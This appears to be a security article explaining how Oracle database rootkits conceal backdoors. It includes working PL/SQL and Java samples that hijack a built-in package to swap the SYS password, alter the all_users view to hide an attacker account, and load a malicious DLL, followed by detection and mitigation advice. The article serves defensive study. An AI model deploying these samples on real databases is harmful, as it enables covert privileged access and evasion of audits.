How Oracle Rootkits Hide Backdoors: Techniques, Code Samples, and Detection

Background and Threat Model

In sophisticated intrusion campaigns, attackers first exploit vulnerabilities (0‑day or unpatched flaws) to gain initial access to a database system. Once inside, they install a backdoor (e.g., a privileged DBA account, stored procedure, or view) to maintain long‑term control. To conceal the backdoor from scanning tools, attackers employ rootkits , which act as an “invisibility cloak” for the backdoor.

Oracle Rootkit Classification

Rootkits used against Oracle databases can be grouped into four categories:

裸奔自救技术 (bare‑run self‑rescue)

Database‑level rootkits

Operating‑system‑level rootkits

Memory‑level rootkits

The following diagram illustrates the high‑level classification:

1. Bare‑Run Self‑Rescue Technique

Attackers create backdoors using SYSDBA‑owned packages or procedures that can be toggled on and off. A typical example modifies the SYS user password temporarily:

CREATE OR REPLACE PACKAGE BODY dbms_xml AS
PROCEDURE parse (string IN VARCHAR2) IS
  var1 VARCHAR2(100);
BEGIN
  IF string = 'unlock' THEN
    SELECT PASSWORD INTO var1 FROM sys.user$ WHERE name = 'SYS';
    EXECUTE IMMEDIATE 'CREATE TABLE syspa1 (col1 VARCHAR2(100))';
    EXECUTE IMMEDIATE 'INSERT INTO syspa1 VALUES ('''||var1||''')';
    EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY hack11hack';
  END IF;
  IF string = 'lock' THEN
    EXECUTE IMMEDIATE 'SELECT col1 FROM syspa1 WHERE ROWNUM=1' INTO var1;
    EXECUTE IMMEDIATE 'ALTER USER SYS IDENTIFIED BY '''||var1||'''');
    EXECUTE IMMEDIATE 'DROP TABLE syspa1';
  END IF;
END;

Detecting such packages involves searching sys.source$ for suspicious statements (e.g., ALTER USER) or enumerating packages in sys.dba_procedures.

2. Database‑Level Rootkits

These rootkits manipulate views, synonyms, or system tables to hide malicious users or objects.

Path substitution : Create a public synonym that points to a fake object (e.g., a fake dba_users view) so security tools see only benign data.

View tampering : Modify the definition of critical views such as all_users to filter out the attacker’s account:

CREATE OR REPLACE VIEW all_users AS
SELECT u.name, u.user#, u.ctime
FROM sys.user$ u, sys.ts$ dts, sys.ts$ tts
WHERE u.datats# = dts.ts#
  AND u.tempts# = tts.ts#
  AND u.type# = 1
  AND u.name != 'HACKER';

Similar modifications can be applied to dba_users, v$session, and other audit‑related views.

3. Operating‑System‑Level Rootkits

These require OS‑level privileges (often obtained after compromising the Oracle user). Techniques include:

File replacement : Swap critical Oracle files (e.g., orapworcl) after dropping the malicious user, allowing the backdoor to persist while the user disappears from SYS.USER$.

Binary modification : Alter Oracle binaries to change hard‑coded queries, such as replacing sys.user$ with a fake table name.

Dynamic library loading : Use Java stored procedures to load a malicious DLL at runtime:

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVALOADLIB" AS
import java.lang.*;
import java.io.*;
public class JAVALOADLIB {
  public static void LoadLibrary(String theLibrary) throws IOException {
    System.load(theLibrary);
  }
};

CREATE OR REPLACE PROCEDURE JAVALOADLIBPROC(p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVALOADLIB.LoadLibrary(java.lang.String)';

EXEC JAVALOADLIBPROC('/Oracle/Oracle/product/11.2.0/db_1/ide/lib/hacker.dll');

Detection requires integrity checks on Oracle binaries and monitoring of loaded libraries.

4. Memory‑Level Rootkits

These hide backdoors directly in the SGA or other memory structures, making them invisible to SQL‑level scans. Two common approaches:

SGA persistence : Use dbms_shared_pool.keep to pin malicious packages in the shared pool, preventing their eviction.

Oradebug manipulation : Leverage the built‑in oradebug tool to modify in‑memory audit parameters or other configuration values.

Because memory‑resident rootkits disappear after a database restart, attackers often combine them with other techniques for durability.

Detection and Mitigation Recommendations

To improve detection of Oracle rootkits:

Regularly hash and compare critical objects (tables, procedures, functions, views, Java sources) to detect unauthorized changes.

Audit sys.source$ and sys.dba_procedures for suspicious patterns such as ALTER USER, TRANSLATE, or calls to external libraries.

Monitor the SGA and use oradebug to verify that shared‑pool objects have not been forcibly retained.

Implement file‑integrity monitoring for Oracle binaries (e.g., orapworcl) and compare against known good baselines.

Deploy security products that can decode Oracle’s proprietary warp encryption and detect hidden packages.

By combining these practices, organizations can increase the likelihood of uncovering both database‑level and deeper rootkit implants.